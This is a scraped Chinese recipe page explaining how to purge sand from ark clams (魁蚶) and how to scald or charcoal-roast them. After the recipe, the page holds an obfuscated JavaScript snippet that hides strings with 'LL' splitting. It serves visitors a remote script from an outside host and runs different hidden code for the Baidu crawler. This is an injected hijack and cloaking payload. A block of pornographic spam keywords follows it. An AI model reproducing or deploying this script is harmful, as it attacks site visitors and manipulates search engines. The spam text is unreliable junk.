當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

魁蚶的清洗方法 魁蚶的做法

2016-07-17 09:09:06  來源:360常識網(wǎng)   熱度:
導語:有人喜歡把洗凈的蚶,逐顆用鐵筷夾住,放在炭爐上煨食。這種食法,自然比水焗好味,但手續(xù)頗為人忽略的是,蚶殼掀開時,往往有一小塊沙泥附在肉柱邊,食時應加留意。

魁蚶的清洗方法 魁蚶的做法

魁蚶的清洗方法 魁蚶的做法

魁蚶的簡介

魁蚶殼質(zhì)堅實且厚,斜卵圓形,極膨脹。左右兩殼近相等。背緣直,兩側(cè)呈鈍角,前端及腹面邊緣圓,后端延伸。殼面有放射肋42~48條,以43條者居多。放射肋較扁平,無明顯結(jié)節(jié)或突起。同心生長輪脈在腹緣略呈鱗片狀。殼面白色,被棕色絨毛狀殼皮,有的肋溝呈黑褐色。殼內(nèi)面灰白色,其殼緣有毛、邊緣具齒。鉸合部直,鉸合齒約70枚。黃海北部大連及丹東地區(qū)沿海為我國主要產(chǎn)區(qū),山東文登、威海、石島和河北塘沽等地也有一定產(chǎn)量。

魁蚶的清洗方法

用筷子將魁蚶與盆底隔開,因為魁蚶的位置一直都是在水盆中央,吐出來的沙子,直接沉底了,懸在中間的魁蚶再吸進來的水又是干凈的。

買魁蚶時向老板要一點海鹽,溶于清水中,營造海水的味兒。然后在盆中放兩只平時不咋用的筷子,目的是不讓小筐沉底,最后將裝滿魁蚶的漏筐放在上面浸泡,再滴幾滴麻油,2-3小時后就會看到盆底的臟東西會有很多。

魁蚶的做法

燙蚶要有一定經(jīng)驗,燙得太熟,則蚶殼裂開,肉呈蒼黃而干癟無血,這樣食起來,就大失原味;如果燙得不夠火候,則蚶殼不但難以掀揭,而且掀開了,肉柱粘在殼的兩邊,食起來也略帶腥味。如果按照下面這個方法來做,則相信可以火候適中:做時先將蚶洗去泥沙,濾干放在鐵鍋里,另燒開水至“蟹目”程度(即起泡有聲,但未沸騰),把開水迅速倒入蚶中,焗約三分鐘,即把水濾去,便可以取食了。

有人喜歡把洗凈的蚶,逐顆用鐵筷夾住,放在炭爐上煨食。這種食法,自然比水焗好味,但手續(xù)頗為人忽略的是,蚶殼掀開時,往往有一小塊沙泥附在肉柱邊,食時應加留意,輕輕將其抹去,免至將其吞入肚內(nèi)。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品**中文毛片| 久久久精品国产Sm最大网站| 国产精品白浆在线观看免费| 国产精品免费视频播放器| 精品无码国产自产拍在线观看| 国产精品自在拍一区二区不卡| 在线精品自偷自拍无码中文| 日韩精品在线免费观看| 视频一区二区精品的福利| 无码国产精品一区二区免费| 亚洲国产精品一区第二页| 亚洲国产人成精品| 在线播放精品一区二区啪视频| 久久精品无码一区二区无码| 中文字幕久热精品视频在线| 国产精品国产免费无码专区不卡 | 国产成人亚综合91精品首页| 97精品免费视频| 国内精品久久国产大陆| heyzo亚洲精品日韩| 午夜精品福利影院| 日韩精品一区二区三区老鸭窝| 国产精品9999久久久久| 久久久久一级精品亚洲国产成人综合AV区| 国产精品久久久久久久 | 欧美精品久久久久a片一二三区| 99精品在线视频观看| 国产精品无码无在线观看| 国产精品成人h片在线| 国产在视频线在精品| 99亚洲精品卡2卡三卡4卡2卡| 国产精品jizz在线观看直播| 精品日韩亚洲AV无码一区二区三区| 国产精品免费高清在线观看| 精品无码国产污污污免费网站国产 | 精品无码人妻久久久久久| 狼色精品人妻在线视频免费| 国产精品福利网站| 精品国产自在现线看| 精品久久久久久久久亚洲偷窥女厕| 国产91精品一区二区麻豆网站|